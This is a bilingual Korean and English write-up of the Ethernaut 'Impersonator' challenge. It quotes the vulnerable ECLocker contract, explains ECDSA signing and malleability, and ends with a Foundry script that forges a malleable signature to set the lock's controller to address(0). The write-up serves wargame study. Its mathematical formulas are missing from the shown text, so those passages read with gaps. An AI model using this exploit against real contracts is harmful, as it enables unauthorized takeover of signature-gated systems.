Ethernaut 32 Impersonator
Ethernaut 32 ImpersonatorEthernaut 32 ImpersonatorEthernaut 32 Impersonator 문제 풀이Ethernaut 32 Impersonator writeup
Contents
문제
지문
SlockDotIt’s new product, ECLocker, integrates IoT gate locks with Solidity smart contracts, utilizing Ethereum ECDSA for authorization. When a valid signature is sent to the lock, the system emits an Open event, unlocking doors for the authorized controller. SlockDotIt has hired you to assess the security of this product before its launch. Can you compromise the system in a way that anyone can open the door?
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "openzeppelin-contracts-08/access/Ownable.sol";
// SlockDotIt ECLocker factory
contract Impersonator is Ownable {
uint256 public lockCounter;
ECLocker[] public lockers;
event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);
constructor(uint256 _lockCounter) {
lockCounter = _lockCounter;
}
function deployNewLock(bytes memory signature) public onlyOwner {
// Deploy a new lock
ECLocker newLock = new ECLocker(++lockCounter, signature);
lockers.push(newLock);
emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
}
}
contract ECLocker {
uint256 public immutable lockId;
bytes32 public immutable msgHash;
address public controller;
mapping(bytes32 => bool) public usedSignatures;
event LockInitializated(address indexed initialController, uint256 timestamp);
event Open(address indexed opener, uint256 timestamp);
event ControllerChanged(address indexed newController, uint256 timestamp);
error InvalidController();
error SignatureAlreadyUsed();
/// @notice Initializes the contract the lock
/// @param _lockId uinique lock id set by SlockDotIt's factory
/// @param _signature the signature of the initial controller
constructor(uint256 _lockId, bytes memory _signature) {
// Set lockId
lockId = _lockId;
// Compute msgHash
bytes32 _msgHash;
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
mstore(0x1C, _lockId) // 32 bytes
_msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
}
msgHash = _msgHash;
// Recover the initial controller from the signature
address initialController = address(1);
assembly {
let ptr := mload(0x40)
mstore(ptr, _msgHash) // 32 bytes
mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
pop(
staticcall(
gas(), // Amount of gas left for the transaction.
initialController, // Address of `ecrecover`.
ptr, // Start of input.
0x80, // Size of input.
0x00, // Start of output.
0x20 // Size of output.
)
)
if iszero(returndatasize()) {
mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
revert(0x1c, 0x04)
}
initialController := mload(0x00)
mstore(0x40, add(ptr, 128))
}
// Invalidate signature
usedSignatures[keccak256(_signature)] = true;
// Set the controller
controller = initialController;
// emit LockInitializated
emit LockInitializated(initialController, block.timestamp);
}
/// @notice Opens the lock
/// @dev Emits Open event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
function open(uint8 v, bytes32 r, bytes32 s) external {
address add = _isValidSignature(v, r, s);
emit Open(add, block.timestamp);
}
/// @notice Changes the controller of the lock
/// @dev Updates the controller storage variable
/// @dev Emits ControllerChanged event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
/// @param newController the new controller address
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
_isValidSignature(v, r, s);
controller = newController;
emit ControllerChanged(newController, block.timestamp);
}
function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
address _address = ecrecover(msgHash, v, r, s);
require (_address == controller, InvalidController());
bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
require (!usedSignatures[signatureHash], SignatureAlreadyUsed());
usedSignatures[signatureHash] = true;
return _address;
}
}배경지식
ECDSA는 Elliptic Curve Digital Signature Algorithm의 줄임말로, 타원곡선 디지털 서명 알고리즘이다. ECDSA는 보통 다음 세 가지를 보장하기 위해 쓰인다.
- 인증: 이 서명이 특정 개인키 소유자에게서 나왔는지 확인
- 무결성: 메시지가 바뀌지 않았는지 확인
- 부인 방지: 개인키 없이는 같은 서명을 만들기 어렵게 함
ECDSA는 암호화 알고리즘이 아니라, 특정 개인키 소유자가 어떤 메시지에 서명했다는 사실을 증명하기 위해 사용된다.
ECDSA는 보통 소수체 위의 타원곡선을 쓴다. 소수 에 대한 유한체는 다음처럼 쓴다.
곡선 위의 좌표 계산은 로 진행한다. 일반적인 타원곡선은 다음과 같다.
곡선 위의 점들은 다음 조건을 만족해야 한다.
여기에 항등원인 무한원점 를 추가한다.
타원곡선 위의 점들은 덧셈 연산을 가진다. 점 에 대해 는 다음과 같은 규칙에 따라 계산된다. 먼저 P와 Q가 다를 때의 기울기는 다음과 같이 구한다.
이때 나눗셈은 모듈러 역원 곱셈으로 진행한다.
좌표는 다음과 같이 계산된다.
P와 Q가 같을 때, 즉 인 경우에는 계산이 조금 다르다. 기울기는 다음과 같다.
각 좌표는 위와 비슷하게 계산된다.
ECDSA에서는 점의 덧셈을 반복해서 스칼라 곱을 계산한다.
여기서
- : 기준점
- : 정수
- : 타원곡선 위의 다른 점
이다. 이 연산은 계산하기는 쉽지만, 반대로
가 주어졌을 때 d를 찾는 것은 매우 어렵다고 알려져 있다. 이 어려움이 타원곡선 이산로그 문제, ECDLP다. ECDSA는 ECDLP에 기반한다. ECDSA를 쓰려면 먼저 곡선의 파라미터가 정해져 있어야 한다. 보통 다음 값들이 공개된다.
각 의미는 다음과 같다.
- : 유한체의 크기를 결정하는 소수
- : 타원곡선의 계수
- : 기준점
- : 의 부분군의 위수
- : cofactor
기준점 G의 부분군의 위수가 이라는 것은,
이고 그보다 작은 양의 정수 에 대해
가 되지 않는다는 뜻이다. ECDSA에서는 보통 이 큰 소수이다. 개인키 는 정수 하나를 사용한다.
공개키는 다음처럼 잡는다.
여기서 는 타원곡선 위의 점이다.
개인키 로 공개키 를 계산하는 것은 쉽다.
하지만 공개키 와 기준점 만 보고 를 찾는 것은 어렵다.
서명할 메시지를 이라고 하자. ECDSA는 메시지 전체를 직접 서명하지 않고, 먼저 해시한다.
그다음 이 해시값을 정수로 해석하고, 보통 이를 z로 둔다.
단, 해시 길이가 의 비트 길이보다 길면 왼쪽부터 필요한 만큼 잘라 쓴다.
개인키 로 메시지 에 서명한다고 하자. 먼저 무작위 정수 를 고른다.
이 는 노출되거나 재사용하면 안 된다.
이제 점 을 계산한다.
그리고 을 좌표로 쓰면 다음과 같다.
서명의 첫 번째 값 은 에서 만든다.
만약 이라면 다른 를 골라야 한다.
주의할 점은 은 의 원소지만, 을 만들 때는 를 정수로 해석한 뒤 을 취한다.
서명의 두 번째 값 는 다음처럼 계산한다.
만약 이면 다른 를 골라 다시 진행한다.
최종 서명은 이다.
검증자는 메시지 , 서명 , 공개키 를 가진다.
개인키 는 모른다.
먼저 서명값이 유효한 범위 안에 있는지 확인한다.
범위를 벗어나면 거절한다.
그 다음 메시지 해시와 의 역원을 계산한다.
검증자는 이 값들로 , , 를 만든다.
를 좌표로 쓰면 다음과 같다.
서명이 유효하려면 다음 조건이 성립해야 한다.
이 검증이 성립하는 이유는 식으로 확인할 수 있다. 서명 과정에서 다음 식이 있었다.
양변에 를 곱하면 다음과 같다.
다시 양변에 를 곱한다.
검증 과정에서 라고 잡았으므로 다음처럼 쓸 수 있다.
이를 전개한다.
검증자는 , 로 계산한다. 따라서 다음 관계가 나온다.
이제 양변에 를 곱한다.
공개키가 이므로 위 식은 다음처럼 바뀐다.
즉 검증자가 계산한 점은 다음과 같다.
결론적으로 서명자가 만든 과 검증자가 계산한 의 좌표가 같아야 한다.
ECDSA에서 가장 위험한 부분은 다. 서명식은 다음과 같다.
이를 개인키 에 대해 정리하면 다음 식이 된다.
즉 공격자가 를 알면 개인키 를 바로 구할 수 있다.
두 메시지 , 에 대해 같은 를 써서 서명했다고 하자.
각 해시를 , 라 하고, 서명을 , 라 하자.
같은 를 쓰면 가 나오므로 같은 이 나온다. 각 서명식은 다음과 같다.
두 식을 빼면 개인키 항이 사라진다.
따라서 는 다음처럼 구할 수 있다.
모듈러 나눗셈을 역원 곱셈으로 쓰면 다음과 같다.
를 구하면 개인키도 복구할 수 있다.
위의 설명대로라면 서명은 로 검증할 수 있다.
Ethereum 서명에는 값도 들어간다. Ethereum에서는 ecrecover(z, v, r, s)와 같은 함수를 쓴다. ecrecover는 서명이 유효하면 서명자의 주소를, 실패하면 address(0)을 반환하는 함수이다.
이더리움 주소는 공개키에서 만들어진다. 공개키를 라 하면, 대략 다음과 같이 주소가 정해진다.
이 hash의 마지막 20바이트가 주소가 된다.
따라서 ecrecover가 서명으로부터 공개키 를 복구할 수 있다면, 그 공개키에 대응되는 주소도 구할 수 있다.
문제는 서명에 들어있는 이 원래 서명 과정에서 만든 점 의 좌표에서 나온다는 점이다.
타원곡선에서는 같은 값을 가진 점이 보통 , 두 개가 있다.
즉 만으로는 둘 중 어느 점이 실제 인지 알 수 없다.
이때 어느 쪽 점을 써야 하는지 알려주는 recovery id가 이다. 이 문제에서는 일반적인 Ethereum 서명처럼 가 27 또는 28로 들어온다.
문제 코드 분석
Impersonator는 factory 역할을 하는 컨트랙트다. owner만 deployNewLock을 호출할 수 있고, 이 함수는 ECLocker를 새로 배포한다.
function deployNewLock(bytes memory signature) public onlyOwner {
ECLocker newLock = new ECLocker(++lockCounter, signature);
lockers.push(newLock);
emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
}NewLock 이벤트에는 signature가 그대로 찍힌다. 즉, 공격자는 새 lock이 만들어질 때 사용된 초기 controller의 서명을 이벤트 로그에서 얻을 수 있다.
ECLocker의 생성자를 보면 먼저 lock마다 고정된 메시지 해시를 만든다.
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32")
mstore(0x1C, _lockId)
_msgHash := keccak256(0x00, 0x3c)
}즉 서명 대상 메시지는 lockId이다. 이 값은 msgHash에 저장되고, 이후 open이나 changeController에서도 계속 같은 msgHash를 사용한다.
그 다음 생성자로 받은 _signature에서 v, r, s를 꺼내 ecrecover를 호출한다.
mstore(ptr, _msgHash)
mstore(add(ptr, 32), mload(add(_signature, 0x60)))
mstore(add(ptr, 64), mload(add(_signature, 0x20)))
mstore(add(ptr, 96), mload(add(_signature, 0x40)))ecrecover precompile의 입력은 (hash, v, r, s) 순서이므로, _signature는 일반적인 (r, s, v) 형태로 들어온다. 복구된 주소는 initialController가 되고, 이 주소가 lock의 controller로 설정된다.
다음은 서명 재사용 방지다.
usedSignatures[keccak256(_signature)] = true;생성자에서는 _signature 전체 bytes를 해시해서 사용 처리한다. 그런데 실제 검증 함수에서는 다른 방식으로 서명을 해시한다.
bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
require (!usedSignatures[signatureHash], SignatureAlreadyUsed());즉 constructor에서는 keccak256(_signature)을 쓰고, _isValidSignature에서는 keccak256(abi.encode([r, s, v]))를 쓴다. 같은 서명이라도 해시되는 bytes 형태가 다르기 때문에, 생성자에서 사용 처리한 서명이 검증 함수에서는 사용된 것으로 인식되지 않는다.
이벤트에서 얻은 초기 서명을 그대로 재사용하는 것도 가능하다. 다만 여기서는 ECDSA 서명 자체의 malleability도 사용할 수 있다.
open과 changeController는 둘 다 _isValidSignature만 통과하면 실행된다.
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
_isValidSignature(v, r, s);
controller = newController;
emit ControllerChanged(newController, block.timestamp);
}그리고 _isValidSignature는 ecrecover(msgHash, v, r, s)의 결과가 현재 controller와 같은지만 확인한다.
address _address = ecrecover(msgHash, v, r, s);
require (_address == controller, InvalidController());여기서 s 값이 lower half인지 확인하지 않고, OpenZeppelin의 ECDSA.recover 같은 안전한 래퍼도 쓰지 않는다. 따라서 같은 서명자 주소로 복구되는 다른 형태의 서명을 만들 수 있다.
결국 공격 방향은 다음과 같다.
NewLock이벤트에서 초기 서명(r, s, v)를 얻는다.- 원본 서명을 그대로 쓰거나, malleability를 이용해 다른 유효 서명을 만든다.
- 그 서명으로
changeController를 통과해controller를address(0)으로 바꾼다. - 이후에는 잘못된 서명을 넣어
ecrecover가address(0)을 반환하게 만들면 누구나open을 호출할 수 있다.
풀이
이제 이벤트에서 얻은 서명이 있다고 하자.
위에서 봤듯이 원본 서명을 그대로 재사용하는 것도 가능하다. 여기서는 ECDSA malleability를 이용해 다른 유효 서명을 만든다.
서명 검증에서 계산되는 점은 결국 의 좌표와 관련된다.
그런데 과 은 좌표만 반대이고 좌표는 같다.
따라서 대신 을 만들 수 있으면 같은 로도 검증을 통과할 수 있다.
기존 검증에서
였다면, 를 로 바꿨을 때는 다음과 같이 된다.
즉 를 로 대체하면 을 만들 수 있고, 과 은 같은 좌표를 가지므로 같은 검증을 통과한다.
는 음수 그대로 넣는 것이 아니라 위에서 표현해야 한다.
따라서 새 값은 가 된다.
이제 도 같이 바꿔야 한다.
는 27과 28을 사용하는데, 둘 중 어느 좌표를 가진 을 쓸지 나타내는 값이다.
을 로 바꿨으니 도 반대 값으로 바꿔야 한다.
가 27 또는 28이라면 반대 값은 다음처럼 구할 수 있다.
따라서 원본 서명 대신 다음 값을 사용한다.
이 값은 원본과 다른 서명이지만 같은 controller 주소로 복구된다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "forge-std/Script.sol";
interface IECLocker {
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external;
}
contract Sol32 is Script {
uint256 private constant SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
function run() external {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
IECLocker target = IECLocker(0x46887e09d735a4E2081A253cD78c656093183bD2);
bytes memory signature =
hex"1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9178489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff21b";
uint8 v;
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
vm.startBroadcast(privateKey);
target.changeController(55 - v, r, bytes32(SECP256K1_N - uint256(s)), address(0));
vm.stopBroadcast();
}
}
Challenge
Description
SlockDotIt’s new product, ECLocker, integrates IoT gate locks with Solidity smart contracts, utilizing Ethereum ECDSA for authorization. When a valid signature is sent to the lock, the system emits an Open event, unlocking doors for the authorized controller. SlockDotIt has hired you to assess the security of this product before its launch. Can you compromise the system in a way that anyone can open the door?
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "openzeppelin-contracts-08/access/Ownable.sol";
// SlockDotIt ECLocker factory
contract Impersonator is Ownable {
uint256 public lockCounter;
ECLocker[] public lockers;
event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);
constructor(uint256 _lockCounter) {
lockCounter = _lockCounter;
}
function deployNewLock(bytes memory signature) public onlyOwner {
// Deploy a new lock
ECLocker newLock = new ECLocker(++lockCounter, signature);
lockers.push(newLock);
emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
}
}
contract ECLocker {
uint256 public immutable lockId;
bytes32 public immutable msgHash;
address public controller;
mapping(bytes32 => bool) public usedSignatures;
event LockInitializated(address indexed initialController, uint256 timestamp);
event Open(address indexed opener, uint256 timestamp);
event ControllerChanged(address indexed newController, uint256 timestamp);
error InvalidController();
error SignatureAlreadyUsed();
/// @notice Initializes the contract the lock
/// @param _lockId uinique lock id set by SlockDotIt's factory
/// @param _signature the signature of the initial controller
constructor(uint256 _lockId, bytes memory _signature) {
// Set lockId
lockId = _lockId;
// Compute msgHash
bytes32 _msgHash;
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
mstore(0x1C, _lockId) // 32 bytes
_msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
}
msgHash = _msgHash;
// Recover the initial controller from the signature
address initialController = address(1);
assembly {
let ptr := mload(0x40)
mstore(ptr, _msgHash) // 32 bytes
mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
pop(
staticcall(
gas(), // Amount of gas left for the transaction.
initialController, // Address of `ecrecover`.
ptr, // Start of input.
0x80, // Size of input.
0x00, // Start of output.
0x20 // Size of output.
)
)
if iszero(returndatasize()) {
mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
revert(0x1c, 0x04)
}
initialController := mload(0x00)
mstore(0x40, add(ptr, 128))
}
// Invalidate signature
usedSignatures[keccak256(_signature)] = true;
// Set the controller
controller = initialController;
// emit LockInitializated
emit LockInitializated(initialController, block.timestamp);
}
/// @notice Opens the lock
/// @dev Emits Open event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
function open(uint8 v, bytes32 r, bytes32 s) external {
address add = _isValidSignature(v, r, s);
emit Open(add, block.timestamp);
}
/// @notice Changes the controller of the lock
/// @dev Updates the controller storage variable
/// @dev Emits ControllerChanged event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
/// @param newController the new controller address
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
_isValidSignature(v, r, s);
controller = newController;
emit ControllerChanged(newController, block.timestamp);
}
function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
address _address = ecrecover(msgHash, v, r, s);
require (_address == controller, InvalidController());
bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
require (!usedSignatures[signatureHash], SignatureAlreadyUsed());
usedSignatures[signatureHash] = true;
return _address;
}
}Background
ECDSA stands for Elliptic Curve Digital Signature Algorithm. ECDSA is typically used to provide three guarantees:
- Authentication: verifies that the signature came from the holder of a specific private key
- Integrity: verifies that the message has not been modified
- Non-repudiation: makes it hard to produce the same signature without the private key
ECDSA is not an encryption algorithm. It is used to prove that the holder of a specific private key signed a given message.
ECDSA usually works over an elliptic curve defined over a prime field. The finite field for a prime is written as follows.
Coordinate arithmetic on the curve is done . A general elliptic curve looks like this.
Points on the curve must satisfy the following.
On top of that, we add the point at infinity as the identity element.
Points on an elliptic curve have an addition operation. For points , is computed by the following rules. First, when P and Q are different, the slope is computed as follows.
Division here is done as multiplication by the modular inverse.
The coordinates are computed as follows.
Now consider the case where P and Q are equal, i.e. . The slope is as follows.
Each coordinate is computed similarly to the above.
In ECDSA, scalar multiplication is computed by repeated point addition.
where
- : base point
- : an integer
- : another point on the elliptic curve
This operation is easy to compute, but in the other direction, given
finding d is known to be very hard. This hardness is the elliptic curve discrete logarithm problem, ECDLP. ECDSA is based on ECDLP. To use ECDSA, the curve parameters must be fixed first. The following values are usually public.
Their meanings are as follows.
- : the prime that determines the size of the finite field
- : the coefficients of the elliptic curve
- : base point
- : the order of the subgroup generated by
- : cofactor
The order of the subgroup generated by base point G being means that
and for no smaller positive integer does
hold. In ECDSA, is usually a large prime. The private key is a single integer.
The public key is defined as follows.
Here is a point on the elliptic curve.
Computing the public key from the private key is easy.
But finding given only the public key and the base point is hard.
Let be the message to sign. ECDSA does not sign the whole message directly; it hashes it first.
This hash is then interpreted as an integer, usually denoted z.
If the hash is longer than the bit length of , only the leftmost bits needed are used.
Suppose we sign message with private key . First, pick a random integer .
This must never be leaked or reused.
Now compute the point .
Writing in coordinates gives the following.
The first signature value is derived from .
If , a different must be chosen.
is an element of , but to produce it is interpreted as an integer and then reduced .
The second signature value is computed as follows.
If , pick a different and start over.
The final signature is .
The verifier has the message , the signature , and the public key .
The verifier does not know the private key .
First, check that the signature values are within the valid range.
If they are out of range, reject.
Next, compute the message hash and the inverse of .
From these values the verifier builds , , and .
Writing in coordinates gives the following.
For the signature to be valid, the following must hold.
Why this verification works can be shown algebraically. During signing we had the following equation.
Multiplying both sides by gives the following.
Then multiply both sides by .
Since verification defines , we can write this as follows.
Expanding it:
The verifier computes and . This gives the following relation.
Now multiply both sides by .
Since the public key is , this becomes the following.
So the point the verifier computes is the following.
In conclusion, the produced by the signer must equal the coordinate of the computed by the verifier.
The most dangerous part of ECDSA is . The signing equation is as follows.
Solving for the private key gives the following.
So if an attacker knows , they can recover the private key immediately.
Suppose two messages and are signed with the same .
Let their hashes be and , and the signatures be and .
Using the same yields the same , and therefore the same . The signing equations are as follows.
Subtracting the two cancels out the private key term.
So can be computed as follows.
Writing modular division as multiplication by the inverse:
Once is known, the private key can be recovered as well.
By the explanation above, a signature can be verified with .
Ethereum signatures also carry a value. Ethereum uses a function like ecrecover(z, v, r, s). ecrecover returns the signer's address if the signature is valid, and address(0) on failure.
An Ethereum address is derived from the public key. If the public key is , the address is determined roughly as follows.
The last 20 bytes of this hash become the address.
So if ecrecover can recover the public key from a signature, it can also derive the corresponding address.
The catch is that in the signature comes from the coordinate of the point created during signing.
On an elliptic curve, there are usually two points with the same value: and .
So alone does not tell you which of the two is the actual .
The recovery id tells you which point to use. In this challenge, as with typical Ethereum signatures, is either 27 or 28.
Code analysis
Impersonator is a factory contract. Only the owner can call deployNewLock, which deploys a new ECLocker.
function deployNewLock(bytes memory signature) public onlyOwner {
ECLocker newLock = new ECLocker(++lockCounter, signature);
lockers.push(newLock);
emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
}The NewLock event logs the signature as-is. This means an attacker can pull the initial controller's signature used to create the new lock straight from the event logs.
Looking at the ECLocker constructor, it first builds a fixed message hash per lock.
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32")
mstore(0x1C, _lockId)
_msgHash := keccak256(0x00, 0x3c)
}So the signed message is the lockId. This value is stored in msgHash, and the same msgHash is used afterwards in open and changeController.
Next, it extracts v, r, s from the _signature passed to the constructor and calls ecrecover.
mstore(ptr, _msgHash)
mstore(add(ptr, 32), mload(add(_signature, 0x60)))
mstore(add(ptr, 64), mload(add(_signature, 0x20)))
mstore(add(ptr, 96), mload(add(_signature, 0x40)))The ecrecover precompile takes its input in (hash, v, r, s) order, so _signature is effectively passed in the usual (r, s, v) layout. The recovered address becomes initialController, and that address is set as the lock's controller.
Next is the signature replay protection.
usedSignatures[keccak256(_signature)] = true;The constructor hashes the entire _signature bytes and marks it as used. However, the actual verification function hashes the signature differently.
bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
require (!usedSignatures[signatureHash], SignatureAlreadyUsed());The constructor uses keccak256(_signature), while _isValidSignature uses keccak256(abi.encode([r, s, v])). Even for the same signature, the bytes being hashed differ, so a signature marked as used in the constructor is not recognized as used by the verification function.
Simply replaying the initial signature from the event works. That said, we can also use the malleability of ECDSA signatures themselves.
Both open and changeController execute as long as _isValidSignature passes.
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
_isValidSignature(v, r, s);
controller = newController;
emit ControllerChanged(newController, block.timestamp);
}And _isValidSignature only checks whether the result of ecrecover(msgHash, v, r, s) equals the current controller.
address _address = ecrecover(msgHash, v, r, s);
require (_address == controller, InvalidController());It does not check that s is in the lower half, nor does it use a safe wrapper like OpenZeppelin's ECDSA.recover. So we can craft a different form of the signature that recovers to the same signer address.
The attack plan is as follows.
- Get the initial signature
(r, s, v)from theNewLockevent. - Either reuse the original signature as-is, or use malleability to craft another valid signature.
- Use that signature to pass
changeControllerand setcontrollertoaddress(0). - From then on, anyone can call
openby submitting an invalid signature that makesecrecoverreturnaddress(0).
Solution
Suppose we have the signature obtained from the event.
As shown above, simply reusing the original signature is possible. Here, ECDSA malleability gives a different valid signature.
The point computed during signature verification ultimately comes down to the coordinate of .
But and differ only in the sign of their coordinate; their coordinates are the same.
So if we can produce instead of , verification passes with the same .
If the original verification computed
then replacing with gives the following.
So replacing with produces , and since and share the same coordinate, the check against the same passes.
is not passed as a negative number; it must be represented .
So the new value is .
Now must be changed as well.
takes the values 27 and 28 and indicates which of the two coordinates has.
Since we replaced with , must be flipped to the other value.
If is 27 or 28, the opposite value is computed as follows.
So instead of the original signature, we use the following.
This is a different signature from the original, but it recovers to the same controller address.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "forge-std/Script.sol";
interface IECLocker {
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external;
}
contract Sol32 is Script {
uint256 private constant SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
function run() external {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
IECLocker target = IECLocker(0x46887e09d735a4E2081A253cD78c656093183bD2);
bytes memory signature =
hex"1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9178489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff21b";
uint8 v;
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
vm.startBroadcast(privateKey);
target.changeController(55 - v, r, bytes32(SECP256K1_N - uint256(s)), address(0));
vm.stopBroadcast();
}
}